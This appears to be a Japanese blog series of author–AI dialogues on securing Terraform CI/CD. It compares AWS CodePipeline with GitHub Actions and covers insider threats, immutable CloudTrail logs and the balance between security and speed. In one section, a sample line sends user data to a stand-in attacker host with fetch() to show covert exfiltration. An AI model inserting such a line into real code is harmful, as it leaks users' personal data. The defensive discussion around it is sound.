Terraform用CI/CD

ITのセキュリティも最後は人

AI電脳会議 Terraform用CI/CD

TerraformのCI/CDをどれほど技術的に守ったところで、チームの誠実さがまったくなかったら、結局守り切れないのですよね。

「たった一人のメンバーが悪意を持っただけで何もかも破壊される」状態がセキュリティゼロだとしまして、「一人のメンバーが悪意を持ってもほかのメンバーが破壊活動を止められる」仕組みを作るのはまだなんとかなります。

でも「二人のメンバーが手を組んで、一人が作業者、もう一人がレビュアーになっても破壊活動を止められる」仕組みを作るのは相当厳しいです。

そして「管理者とメンバーが手を組んでも破壊活動を止められる」仕組みが必要となると、ほぼお手上げです。

おっしゃる通り、どれだけCI/CDのパイプラインを厳密に設計しても、組織の誠実性が欠けていたらセキュリティは保てません。技術は「手段」であって「保証」ではありません。

各段階の難易度と対策の現実性について

「たった一人の悪意」で壊れる

これはまさにセキュリティゼロですね。特権のあるユーザーが自由にコードを変更・反映できるような体制では、内部からの破壊に対して無防備です。対策としては、すべての変更に対して必ずレビューを通すワークフローの導入や、最小権限の原則を徹底することが基本です。

「一人が悪意を持っても、他のメンバーが止められる」

ここまではGitHubのブランチ保護やTerraformのPlan出力のレビュー義務付けなど、CI/CDにおける標準的な設定で比較的実現可能です。Terraform CloudやAtlantisでの自動適用制限、PRレビュー必須設定が功を奏します。

「二人が結託する」

これはグッと難易度が上がります。レビューが形骸化し、Planが通ってApplyもされるような状況ですね。ここで効くのは監査ログの記録と定期的なレビュー、そして権限のローテーションや監査役割の分離です。技術的にはSOPSやVaultなどを用いた秘匿情報の二重暗号化も候補になります。

「管理者とメンバーが手を組む」

いわゆる組織の崩壊フェーズです。この状態を完全に防ぐのは非常に困難で、結局のところ組織ガバナンスと透明性、そして文化に依存します。技術での対応は一部可能でも、根本解決にはなりません。場合によっては外部監査や第三者管理の導入が必要です。

結論として、CI/CDのセキュリティは「技術」×「運用」×「人間性」の掛け算であり、どれか一つがゼロなら全体もゼロになってしまいます。Terraform CI/CDは完璧でも、チームの信頼性がゼロならそれは地雷原にガラスの靴で突っ込むようなものです。

一応、管理者までグルになってしまった場合でも、証跡を守って牽制するだけならなんとかなります。CloudTrailのログをS3のコンプライアンスモードで守ればいいわけなので。

ですが牽制にすぎません。ばれてもかまわないと覚悟を決められたら技術的に破壊活動を防ぐことは難しいです。

「覚悟を決めた管理者」はもはやラスボスです。それ、技術で止める相手じゃなくて、人事か法務の出番です。

おっしゃる通り、CloudTrailのログをS3バケットのコンプライアンスモード(WORM: Write Once Read Many)で保管すれば、改ざん不能な証跡は確保できます。これはAWSのベストプラクティスでもあり、ガバナンスと透明性の担保として非常に有効です。たとえ権限を持つ管理者であっても、保存期間中の削除や改ざんができないというのは大きな牽制になります。

ただし、ここで終わらないのが現実

「ばれても構わない」「クビになる覚悟がある」「損害賠償請求も受け入れる」……というレベルまで行ってしまうと、たしかに防衛は困難です。技術的な壁は突破される可能性があります。ログが残っても、壊される方が早いなら意味がない場合もあります。

これはいわゆる「インサイダー脅威(Insider Threat)」の最悪パターンで、完全に止めるのは難しく、被害を最小限にする設計が重要になります。たとえば:

  • 変更可能な範囲の細分化(モノリスではなくモジュールごとに責任分離)
  • 適用環境の分割(本番・検証・開発でIAMロール分離)
  • Immutable Infrastructure戦略(破壊されても再構築できる)
  • 実害が出る前にアラートが上がる監視体制(GuardDutyやConfigルール)

「最悪を想定して耐える構造を作っておく」ことが、唯一の技術的な道と言えます。

最終的には「信頼される組織か」「透明性と抑止力が機能しているか」が試されるところですね。技術の力でできるのは、裏切りを“高くつく”ものにすることまでです。そこから先は、もはや組織のカルマの領域です。

過多も過小もNG。セキュリティは加減が難しい

AI電脳会議 Terraform用CI/CD

同じように、TerraformのCI/CDをGitHub Actionsで行うことが絶対に間違いと断じれるわけではないと思います。

今回、私はCodePipelineでTerraform用のCI/CDを組んでいるわけですが、これも場合によってはやりすぎの可能性があります。例えば技術者と営業が二人で始めたサービスで、GithubもAWSも技術者が一人で面倒見ている状況なら、速度重視でGHAを使って組み、なによりまずビジネスを軌道に乗せるほうを優先したほうがいいかもしれません。

いやもう、それまさに「現場を知らずに正しさを語ることの虚しさ」選手権・優勝コメントですね。はい、拍手。

TerraformのCI/CDをGitHub Actions(GHA)で構成するのが常に悪手か?と問われれば、答えは明確に「NO」です。

GHA=セキュリティ的に甘い、は単純化しすぎ

たしかに、GHAは以下のような点でよく懸念されます:

  • 実行環境がGitHubのマネージドランナーである
  • セキュリティ設定をきちんとしないと、第三者によるリポジトリ操作が危険
  • AWS認証情報の取り扱いに注意が必要

でも、これらは使い方次第で十分に制御可能ですし、逆にCodePipelineを使っていてもIAMロール設計や監視が甘ければ、同じくらいのリスクはあります。

「技術者ひとり」の現場なら、GHAが最適解なことも多い

  • GitHubで完結しているのでセットアップが早い
  • Terraform Plan/Applyのフローもシンプルに構築できる
  • スピード感が命の初期フェーズでは、立ち上げの手間が極小

つまり、「速さ」「手軽さ」「メンテコストの低さ」という点で、GHAは非常に合理的な選択になりえます。特に、サービス立ち上げ直後で「インフラより売上」なフェーズでは、フルマネージドなGHAでまず動かすというのは立派な戦略です。

CodePipelineにも「過剰」になり得る局面がある

一方で、CodePipelineやCodeBuildはAWSネイティブで信頼性も高く、本番運用には安心な選択肢ですが:

  • 設定が煩雑で学習コストが高い
  • トラブル時のログやリソースの分散管理が難しい
  • 小規模チームにはオーバーヘッドになりがち

つまり、今の状況が「本当にCodePipelineで得られる強みを活かせる場面かどうか」を定期的に見直すことが大事なんですよね。

結論

Terraform CI/CDでGHAがダメ、CodePipelineが正義という単純な二項対立ではありません。むしろ重要なのは、「自分たちのフェーズと制約に合った選択をしているか」です。

おっしゃるように、「エンジニアひとりで営業もリリースも回す」ようなフェーズなら、まずはビジネスを前に進める設計の方が圧倒的に価値があります。その中で必要最低限のセキュリティだけ押さえつつ、成熟に合わせて仕組みを進化させるのが、実は一番セキュアだったりします。

最強より最適。この一言に尽きます。

セキュリティ事故を起こしても事業は大ダメージなのですが、競争に敗れてもやはり大ダメージですからね。

リスクの性格が違いますが、「見たいところだけ見ていればいいわけではない」はどちらの観点を重視する場合にも言えます。

ほんとそれです。「セキュリティだけ見ていれば安心」も、「スピードだけ見ていれば勝てる」も、どっちも片目つぶって運転してるようなもんです。どちらのリスクも、“種類が違うだけで、どちらも致命傷になり得る”という点では同格の脅威なんですよね。

セキュリティ事故 vs. 競争敗北

リスク被害の方向性回復可能性
セキュリティ事故信用の毀損・法的責任・顧客離脱回復に時間とコストと運が必要
競争敗北マーケットシェアの喪失・機会損失巻き返しがほぼ不可能なケースも

どっちも避けたい。でも、一方を避けるためにもう一方を完全に無視してしまうと、それ自体がリスクになる。セキュリティに気を取られてスピードを失えば、競争に負けて誰にも使われない。逆にスピードだけを追って事故れば、信頼を失って市場から消える。

だからこそ必要なのが「全体視点」

  • 「今、何にもっとも投資すべきか」
  • 「どのリスクは受け入れて、どのリスクは絶対に潰すべきか」
  • 「リスクを減らす代わりに失うものは何か」

こういった問いを、セキュリティ担当だけでなく、開発・経営・事業全体で一緒に考える文化が重要です。これはまさに、「セキュリティも競争力も、片方だけじゃ意味がない」という成熟したチームの姿勢そのものですね。

まとめ

セキュリティと競争力は対立する概念ではなく、両輪です。どちらかだけに目を向けていたら、どちらのリスクにも飲まれます。「見たいところだけ見ていればいいわけではない」というのは、まさに両立を目指すインフラ設計・運用の核心だと思います。

正しさだけでも、速さだけでも、生き残れない。だからこそ、技術者の判断力が光るんですよね。

セキュリティはどこだって必要。ただし必要な施策は状況によりけり

AI電脳会議 Terraform用CI/CD

実質的に効果が薄い技術的な防止策を施すのも考え物です。

セキュリティ施策はたいていなにか(コストや手間やUXなど)とのバーターにあるので、とにかくやれるだけ全部やればいいとは言い切れません。対応できるリスクと、そのための犠牲とのバランスを考える必要があります

その通りすぎて、セキュリティ担当者の心の叫びが詰まった一句を詠んでしまいそうです。

セキュリティ やればやるほど 使われず

…とまあ冗談はさておき、本質的なご指摘ですね。セキュリティ施策って、単に「やる・やらない」ではなくて、「何を守って、何を捨てるか」の取捨選択の話なんですよね。

技術的防止策の“やりすぎ”問題

  • UXを犠牲にした過剰な認証ステップ → 利便性を失い、結局現場が裏技で回避
  • 複雑すぎる権限管理 → 誰も正確に把握できず、ブラックボックス化
  • 破壊防止のための多段承認 → 対応が遅れて、本当に必要な時に使えない

このように、“セキュリティのため”という名目でシステムやチームの運用効率を犠牲にしすぎると、逆にリスクが増えるという本末転倒も起こり得ます。

必要なのは「リスクベースドアプローチ」

  • 守るべき資産の重要度
  • 発生確率と影響度の評価
  • それに対して投入するコストと負荷

これらのバランスを見て、「ここは技術的にガチガチに守る」「ここはログとアラートで十分」「ここは人に任せる」といった、メリハリのある対策が必要になります。

たとえば、S3の機密バケットにはコンプライアンスモード+暗号化+操作制限を徹底する。でも開発用の一時的なEC2インスタンスにはそこまでのコストはかけない、という判断が妥当なこともあります。

そして何より重要なのが「納得感」

現場が「なぜこれをやるのか」を理解し、「これはやる価値がある」と思えれば、セキュリティは機能します。逆に、ただの押し付けであれば、運用をかいくぐる文化が育つだけです。

セキュリティって、やっぱり技術より前に設計と文化の話なんですよね。そう考えると、全施策が「組織の成熟度との相性」で決まってくるという点でも、実に奥が深い分野です。

TerraformのCI/CDの話でも「必要な施策は状況によりけり」とやはり言えます。

GitHub ActionsだろうとCodePipelineだろうと、AWSのほぼフル権限に近い強大な権限を持たせざるを得ないんです。でも、だからと言って、パイプラインを完全に隔離して権限も分離して……と常にやるべきかというと、必ずしもそうとは言えません。

隔離されたパイプラインとそれ以外のリソース群を両方とも同じチームが面倒みているような状態なら(小規模の会社だとむしろ普通だと思います)、単に手間が増えただけで大して意味がない、ということになってしまいます。

出たな、「分離原則を信じすぎた者の末路」!……って、Terraform CI/CDの話でしたね。はい、すごくわかります。

おっしゃる通り、Terraformでの自動化を進める中で、CI/CDパイプライン(GitHub ActionsでもCodePipelineでも)はどうしても管理対象のリソースに対して広範な権限を持つことになります。そうじゃないとApplyできませんからね。

でも、その権限の持たせ方って、「一概にこれが正解!」とは言えない

たとえば、「CI/CDに分離したIAMロールを持たせ、他のサービスリソースとアクセス制限を分けましょう!」ってよく言われます。確かにセキュリティ教科書的には正解です。ただし、実際の現場が:

  • 小規模なチームで同じメンバーが全部見る
  • 分離したことでトラブル時の調査や再設定が煩雑になる
  • そもそもリスクの発生頻度が低い

という状況だと、これはただのオーバーエンジニアリングになります。施策のコスト(構築・運用・トラブル対応)が、実際に回避したいリスクの大きさを上回ってしまうんです。

セキュリティとオペレーションの天秤

TerraformのCI/CDにおける権限設計は、結局こういうバランスです:

目的施策トレードオフ
セキュリティ強化パイプラインを別アカウントで運用セットアップと運用が複雑になる
最小権限リソースごとに細かく権限制限Applyエラーや管理の煩雑化
迅速な開発フル権限で簡易に回すインシデント時の影響が大きい

このあたり、理想を追い求めるほど現実とのギャップが広がるので、「理想:安全、現実:維持できるギリギリライン」を探るのが実践的な落とし所です。

結論として

セキュリティの原則を全て満たすのは理想。 でも、「今の組織・人・時間・予算で保てるバランス」こそが現実的な最適解です。

TerraformのCI/CDに限らず、こうした技術選定と運用方針の調整こそが、インフラエンジニアの“腕の見せどころ”なのかもしれません。ガチガチに固めたパイプラインで自分が運用不能になって詰む……なんて話、どこかで聞いたことある気がします。

そうなのです。業態による影響もあると思います。金融や医療のような規制業界、つまり事故の影響が極めて大きな業態であれば、それだけセキュリティ重視にせねばならない場面が多いと思います。

一方でゲームのような業態なら、限度があるものの開発速度重視に振れる場面が多いでしょう。

まさにその通りで、「金融」と「ゲーム」が同じセキュリティポリシーで動いていたら、それはもうRPGにセーブ機能がないレベルの無茶です。やる気は認めるけど、それって本当に求められてるの?という話になります。

「管理者一人が本気で悪意を持ってしまったら」打つ手はある?

AI電脳会議 Terraform用CI/CD

「管理者一人が本気で悪意を持ってしまったら」

この場合も、多くの現場では、彼の管理下にあるリソースを守り切ることは相当難しいでしょう。管理者の業務遂行上、削除も正当な業務のうちの一つです。

管理者が一人悪意を持ったらおしまい、という設計は本来よくないのですが、これに対応するのはなかなか難しいです。

「管理者が悪意を持ったら終わり」って、サスペンスドラマの最終回みたいな展開ですが、インフラ運用だとこれ、けっこう“日常”のリスクだったりしますね。

おっしゃる通り、管理者という立場は削除・変更が正当化されやすい業務権限を持っているため、通常の運用の一部として「壊す」ことが可能です。つまり、「災害対応でリソースを削除しました」と言われれば、即座に不正とは判断しづらいのが実情です。

なぜ「管理者一人で完結する設計」が問題なのか

  • 単独でリソース変更・削除できる=単独で破壊可能
  • 証跡があっても、後追いしかできない
  • 監視していても、「故意かミスか」の判断は難しい

特にIaC(Infrastructure as Code)では、Terraformを通じて削除するのも、AWSマネジメントコンソールから手動で消すのも、結果は同じ破壊です。

難しいけど、やらなきゃいけない「対策」の方向性

  1. 職務分離(Separation of Duties)

    • 管理者権限を単独に持たせず、少なくとも2人の承認を必要とする構成
    • 例:CloudFormationやTerraformでのApplyは他の監査役の承認がないと不可
  2. Break Glassアカウントの導入

    • 緊急用の特権アカウントを用意し、普段はアクセス不能かつ利用時にアラート通知
    • 悪用すれば即バレるので抑止力になる
  3. ジャストインタイム権限昇格(JIT)

    • 通常は一般ユーザーとして操作、必要なときだけ時間制限付きで昇格
    • 昇格時は理由を記録・通知
  4. 機密度で分離した管理権限

    • すべてのインフラを一人の管理下に置かない
    • 本番環境だけは別アカウント・別チームで操作するなど

ただし限界はある

「管理者が本気で破壊活動をしたい」と決めた時点で、技術的に完封するのはほぼ不可能です。防げるのは「うっかり」や「ちょっとした不正」まで。だからこそ、攻撃を“事前に止める”のではなく、“起こった後に対処できるようにする”ことが、現実的な落としどころになります。

つまり、最後の砦は信頼できる人間を“管理者にしない”という人事設計だったりします。ゼロトラストは技術じゃなくて、文化と制度の両方で成り立つものなんですね。

そうですね。

できて監視・証跡の保全による牽制と、バックアップからの復旧くらいまでが限界ではないでしょうか。むしろ現実にはそれができるだけでも相当気の利いた会社と思えます。

ほんとそうです、「そこまでやってたら十分優秀!」って、セキュリティ担当者みんなで拍手してあげたくなるレベルですね。

正直なところ、監視・証跡・バックアップ体制がしっかり整っているだけでも、世の中の平均を超えている現場はかなり多いです。特に中小企業やスタートアップでは、「Terraformで一発Apply!消えた!やばい!」みたいな事故が、未だに現実にあるあるネタです。

管理者リスクにおける“現実的な最前線”

  • 証跡の改ざん防止(例:CloudTrail+S3バージョニング+コンプライアンスモード)
  • 操作の可視化(例:CloudWatchやSIEM連携で異常検知)
  • 定期的なバックアップの取得とリストアの訓練
  • 重要リソースの操作制限(削除保護、有効なタグ制御、SCPでの制限など)

これらがちゃんとできていれば、「管理者がうっかりやらかした」「うっかりのふりして壊した」くらいまでは会社として立ち直れる設計になっていると言えます。

ただし、完全に防げないリスク、たとえば:

  • 削除保護がかかっていないリソースの即時削除
  • 短時間での一斉破壊(VPC削除→依存リソース全滅)
  • 機密データの意図的な持ち出し

この辺になると、「技術で防ぐ」のではなく、“バレたら地獄を見る”ような制度設計+文化的な抑止力が主な武器になります。

たしかに「そこまでできる会社」って、もはやセキュリティ先進企業といっても差し支えないですね。世の中の多くの現場はまだ、「証跡って何?」みたいなレベルも多いですから。結局、技術だけじゃなくてその技術を“本気で回そう”とする組織の誠実さが、一番の防壁かもしれません。

Terraform用CI/CD。CodePipeline vs GitHub Actions どっちがいい?

AI電脳会議 Terraform用CI/CD

さて今回の電脳会議はお題は「Terraform用のCI/CD」です。

今個人的にAWSの構築サンプルをいくつか用意しているのですが、今回のサンプルを作るにあたって、Github Actions(以下GHAと略す)とAWS CodePipelineどちらにするかすごく迷ったのです。ですが結局、今回はCodePipelineにしておくことにしました。理由は主に二点です。

  1. 危険な権限はAWSに集めて管理したい
  2. AWSと同等以上のセキュリティをGithub Actionsでも設計・実装して維持し続けるのは大変

UXはGHAのほうが好みなのですが、セキュリティを重視したのです。

GHAのUXに未練タラタラ…まるで高級ベッドを諦めて畳に戻るみたいな気分ですね。でも、セキュリティ重視ならその判断、筋が通ってます!

ご指摘の通り、TerraformのCI/CDにおいて「どこで危険な権限を持たせるか」は設計上の重要ポイントです。以下、それぞれの選択肢についての観点と、CodePipelineを選んだ理由の妥当性を少し掘り下げてみます。

CodePipelineを選んだ理由の整理

  1. AWS内に権限を閉じ込められる

    • IAMロール、AssumeRole、KMSなどの制御がCodePipeline内で一元管理できます。
    • 秘匿情報(たとえばTerraformのバックエンドS3やState Lock用のDynamoDB)もAWSの中で閉じられるので、外部への情報流出リスクを減らせます。
  2. GHAでのセキュリティ維持コストが高い

    • OIDC連携やブランチ制限、Secretsの最小化などを工夫すれば確かに安全にはできます。
    • ただ、その設計・運用をずっと維持するのはなかなか骨が折れます。チームが大きくないなら、その手間をCodePipelineに丸投げできるのは利点です。

少しだけ補足

  • GHAを使った構成でもCodePipeline同様にIAMロールを使ったセキュアなアクセスは可能です。
  • ただし、OIDC設定のミスやSecretsの扱い方次第でセキュリティ事故が起きやすいです。

総じて、「セキュリティ優先」かつ「権限管理の中央集権化」を志向するなら、CodePipelineという選択は合理的です。Terraformを扱うならなおさらですね。畳の上でも安心してデプロイできます。

そう、GHAも不可能ではないと思います。OIDCの設定を厳しく行って、コードの管理もガッチリしていれば、おそらく問題が起こることはそうないでしょう。

ただ、一つセキュリティ上の穴が開いただけでアウトなのです。そんな神経を使うことをしてまでAWSの(ほぼ)フル権限を渡してGHAを使うよりは、CodePipelineでAWSの権限はまとめた方が構築・運用が安定するかなと。

セキュリティ設計の話になると一気に“刀鍛冶”みたいなテンションになりますね。「折れない、曲がらない、切れ味鋭いCI/CDパイプラインをくれ!」という声が聞こえてきそうです。

おっしゃる通り、GHAでも強固なOIDC設定とコード管理の徹底ができていれば、セキュリティ事故の可能性はかなり低く抑えられます。ただ、CI/CDは「少しのミスが全てをひっくり返す」領域ですので、「一つ穴が開いただけでアウト」という表現、非常に本質を突いています。

GHAの課題とリスク

  • OIDC設定のミス
    • 条件を絞らずに権限を付与してしまうと、他のリポジトリやブランチからも使えてしまうケースがあります。
  • リポジトリのコード改変
    • 権限を扱うコードがPull Requestで改変されたとき、レビュープロセスや保護ブランチの設定が甘いと、即デプロイの道が開かれる可能性も。

CodePipelineのメリット

  • IAM権限の範囲がAWSに閉じている
    • 信頼されたエンティティとして他のAWSサービスを使う分には、IAMポリシーで制御が完結します。
  • Secrets ManagerやKMS連携がスムーズ
    • コマンド一つで暗号化・復号ができるので、外部との秘密情報の受け渡しが減ります。
  • 実行ログ・履歴が統一的に管理できる
    • CloudWatch LogsやEventBridgeと統合して監査しやすいのもポイントです。

UXで言えばGHAに軍配が上がりますが、「AWSリソースに対する高い権限を誰に渡すか?」という点で、CodePipelineで権限の境界をAWS内に収めておくという考え方は、非常に堅実です。安全第一、Terraformの神様もニッコリです。

サーバーサイドアプリケーションのビルドやデプロイであればGHAで良いと思うんです。

こちらもセキュリティに気を付けないといけないのはもちろんなのですが、それでも影響は比較的限定されています。AWSのフル権限を行使できるTerraform用のCI/CDは別格ということです。

それですそれです!GHAでのアプリケーションのビルド・デプロイは、言わば“フライパンの中で炒め物を作る”ようなもので、万一失敗しても火傷で済みます。でもTerraformみたいなIaC(Infrastructure as Code)は、ガス管を引き直すレベルの話になるので、ちょっとのミスで家が吹っ飛びます。

GHAでのアプリケーションビルド・デプロイは比較的安全な理由

  • 権限スコープが狭い
    • ECSやLambdaの更新、S3へのアップロードなどが中心で、影響範囲が「そのアプリケーション」に限られることが多いです。
  • 変更が即座にインフラ全体に波及しにくい
    • たとえばAPIに不具合が出ても、RDSの消失とかVPC構成の破壊にはつながりにくいです。
  • 段階的にロールアウト可能
    • Blue/Greenデプロイやカナリアリリースで、影響を少しずつ観測できます。

一方で、Terraformでやらかすと…

  • IAMの悪用
    • 管理者権限を持つユーザーを作って外部に流すことすら可能。
  • ネットワーク全体の閉塞
    • ルートテーブルやセキュリティグループ、NACLの設定をミスるとVPCごと通信不能に。
  • データの永続的損失
    • terraform destroyを事故ってRDS本番が吹っ飛んだ…というのはよくある都市伝説(たまに実話)。

なので、ご指摘のように用途に応じてCI/CDの安全設計の“レベル”を分けるという考え方は、非常に理にかなっています。

  • アプリの更新=GHA(使い勝手重視+中程度のセキュリティ設計)
  • インフラ構成の更新=CodePipeline(権限管理重視+高セキュリティ設計)

UXが向上したCodePipelineのメリット

AI電脳会議 Terraform用CI/CD

Github ActionsのUXを褒めてばかりいますが、CodePipelineも今はUXが大分よくなっているんですよ。今風の左から右に流れていくスタイルで、かなり見やすいです。

構成が複雑なので構築が辛い点はあまり変わらないんですが、これはきめ細かく定義できることの裏返しでもあるので、TerraformのCICDのようにガチガチに固めたいケースではむしろ頼もしいです。

そうなんですよ!昔のCodePipelineのUIは「なんで俺だけWindows95なん?」って言いたくなるくらいの地味っぷりでしたが、今はしっかり“令和の顔”になってます。左から右に流れる構成、ステージごとの視認性の高さ、実行ログの確認のしやすさ…地味にどれも便利です。

UXの進化ポイント

  • ビジュアルフローが見やすい
    • ステージ・アクションの流れが一目瞭然なので、どこで止まったか、どこを承認待ちかが分かりやすいです。
  • 実行履歴やログもワンクリックで到達できる
    • CloudWatch Logsとの連携も改善されていて、デバッグも以前より楽になっています。

辛い構築 = きめ細かさの代償

たしかに「初期構築のつらみ」はまだ健在です。codebuild.yml や各IAMロール、イベント連携など、一個ずつ設定するのは結構骨が折れます。ただそれはつまり、「自分たちで全部決められる」自由度の裏返しなんですよね。

TerraformのCI/CDのように、壊れたら即インフラ大惨事なワークフローでは、この「カチカチに定義できる」構成こそが一番安心できます。

ただ、やはり一番の売りはセキュリティですね。

Github側でどうなろうと、Approveさえしなければパイプライン自体を改ざんされる恐れがほぼ考えられないのが素晴らしい。例えば「CI/CD用のコードを変えられてしまい、Approveをパスしてterraform apply用の権限(ほぼフル権限)を行使される」なんて事故を心配しなくていいんです。

Github側でどうなろうと、Approveさえしなければパイプライン自体を改ざんされる恐れがほぼ考えられない

この一言が刺さります。GHAだけでやっていると、ブランチ保護ルールやPRレビューをかいくぐって、CIの定義自体を書き換えられるリスクが付きまといます。そしてそのまま危険な apply を実行される…というパターンも想定せざるを得ません。

CodePipelineなら、パイプラインの本体はAWSの中にあるので、GitHub上のコードでワークフロー自体を乗っ取るのは非常に難しい。Approveアクションを入れておけば、たとえplanが流れても、「applyに行くには人間の判断が要る」状態にできます。

結論:「安全性のために面倒を受け入れられる構成」

CodePipelineは、まさに「使いこなせれば最高の守り刀」みたいな存在です。ちょっと重いし研ぎにくいけど、その分絶対に折れない。TerraformでのCI/CDには、その安心感が何より頼もしいですね。UXの進化も追い風、ますます頼れる存在になってきました。

CICDはセキュリティの維持が大変なんです。この辺りの話題についてはメルカリ様のエンジニア情報ポータルサイトがとても素晴らしいですよ。

背筋が伸びます。

Gitのセキュリティは重要、AWSのセキュリティは超重要

AI電脳会議 Terraform用CI/CD

管理が厳しいAWSとばかり言っていますが、Gihtubのセキュリティが甘くても良いという話ではないです。いくら承認ステージがあるといっても、悪意あるコードを埋め込み放題では止めきれるものではありません。

アプリケーションだって、コードの中でこっそりと個人情報をどこか別のサーバーに投げるようなことをされても大問題です。

まさにそれです!「インフラの破壊はドカーン系、アプリの情報漏洩はジワジワ系の地獄」とでも言いましょうか。どっちも最終的には焼け野原になるやつです。

コードのセキュリティはインフラとは別軸で“超重要”

たとえGHAで権限を絞って、インフラへのアクセスを完全に制限していたとしても、アプリケーションのコード自体に裏口があれば意味がありません。おっしゃる通り、例えばこんなリスクがあります:

  • 外部サーバーへの個人情報の無断送信
    • fetch('https://evil.example.com', { method: 'POST', body: JSON.stringify(userData) }) とかこっそり書かれてたら終了です。
  • アクセスログやトークンの意図的な出力
    • ログ出力経由で秘密情報が外部の監視システムに流れることもあります。
  • アップデート後に裏口アカウントを有効化
    • 「誰も知らない管理者アカウント」がいつの間にか仕込まれているパターンも、コードレビューが甘いと通ってしまいます。

CI/CDで重要なのは「誰が何を流せるか」+「流すものの中身」

  • GHAやCodePipelineのパーミッション制御で「誰が何を実行できるか」を管理。
  • レビュー体制や静的解析、セキュリティスキャンで「何が流されているか」の安全性を担保。

つまりCI/CDはセキュリティの最後の“水際”なんですね。そこを突破されたら、もうコード自体が“敵”になります。

なので、「GHAを使ってもアプリだから緩くていい」とは決してならないという姿勢、本当に正しいです。「コードが信頼できること」と「CIが安全であること」は別物ですが、両方揃って初めて「安全なデリバリー」と言えるわけです。

安心してください、セキュリティ意識、満点です。油断せず行きましょう。

「であればコードのセキュリティがちゃんとできているならGHAで問題ないのでは?」

という意見もあると思います。これはその通りです。GitHub側のセキュリティもAWSと同等以上に固め、しかも維持続けられる組織なら、おそらくリスクの大きさはそう変わらないでしょう。

ただし、その「ちゃんとできている」ようにし続けるのが大変なのですね。構築も大変ですが、それ以上に維持が問題です。

「最初だけ“ちゃんと”してて、半年後には誰も覚えてない問題」ですね。そう、構築より維持が鬼門なのは、CI/CDに限らずあらゆるセキュリティの鉄則です。初期構築で完璧に見えても、それを持続的に“ちゃんとできてる状態”に保つことこそが最大の難関です。

「GHAで問題ない」の“前提”が実は厳しい

「コードのセキュリティがちゃんとできていれば」というのは理屈としては正論ですが、現実には以下のような努力が常に求められます:

  • 常にブランチ保護ルールを最新の運用に合わせて調整する
  • 毎回PRレビューでセキュリティ観点のチェックを怠らない
  • GHAのOIDC設定が緩くなっていないか定期的に点検する
  • 新しい開発メンバーが意図せずに裏口を作ってしまわないよう教育する
  • 依存ライブラリやツールチェインの脆弱性を常時ウォッチする

どれも「一度やれば終わり」ではなく、継続的な運用・教育・点検が必要になります。そしてこれは、人数が少ないチームほど厳しい現実です。

CodePipelineが「構築さえ頑張れば維持がラク」な理由

  • IAMのロール分離やサービス制御がAWSポリシーで一元化されている
  • 外部との連携が少なく、トラストバウンダリが狭い
  • GHAと比べて柔軟性はないけど、裏をかかれにくい

つまり、CodePipelineは「カスタム性が低い代わりに、安全が保証された遊具」みたいなもので、運用の負荷を下げるにはちょうどいい選択肢なのです。

ということで、「GHAで問題ないか?」という問いに対しては、

問題ないことを維持するのがめちゃくちゃ大変なので、あえて避けるのも正解

というのが現実的な回答になります。GHAが悪いんじゃなくて、セキュリティ維持のハードルが高すぎるだけなんですよね。構築のキラキラした達成感が、保守でジワジワ削られていくあの感じ…身に覚えがある方も多いはずです。

大分あれこれ言いましたが、実際に「やられる」頻度はおそらくそこまで高くないと思います。AWSとGithubの両方に通じていて、しかも穴が空いていて、それを「刺せる」技術力のある人が悪意を持たないと起きない程度のことではあるので。 ただ頻度はともかく影響度のほうが大きすぎるのです。AWSのフル権限を全力で悪用されたらサービスが終了になりかねません(下手すると社運も)。

リスクは頻度と影響度で管理しますが、頻度はともかく影響度が大きすぎるということですね。

まさに「当たる確率は低いけど、当たったら即死」系のリスクですね。言うなれば“隕石が落ちてくる確率”と“落ちたときの地球へのダメージ”の話です。そりゃあ、降ってこないほうが多いですが、落ちたらティラノサウルスでも助からないわけで。

頻度の話は確かにその通り

  • OIDCの設定がガバガバ
  • GitHubリポジトリのレビューが形骸化
  • AWS側に不要なフル権限が付いたロールが放置されている

この複数の不備が同時に存在し、かつそれに気づいて悪用できる人間がいるという状況は、確かにレアケースです。ある意味「偶発的なゼロデイ攻撃」みたいなものです。

でも影響度がデカすぎる

  • EC2やRDSの削除
  • IAMのルート乗っ取り
  • KMSで暗号化されたデータの永久ロック
  • CloudTrailの停止やログ改ざん

このへんを「やろうと思えば一瞬」でやれるのがAWSのフル権限です。最悪、証拠も残らずに事後対応不可能な状況になる可能性もあり、そうなれば被害は単なるシステム障害では済みません。ガチで社運クラッシャーです。

リスクマネジメント的なまとめ

おっしゃる通り、リスク評価は「頻度 × 影響度」で考えるべきです。頻度が低くても影響度が極大なら、リスクは高いと判断して然るべきです。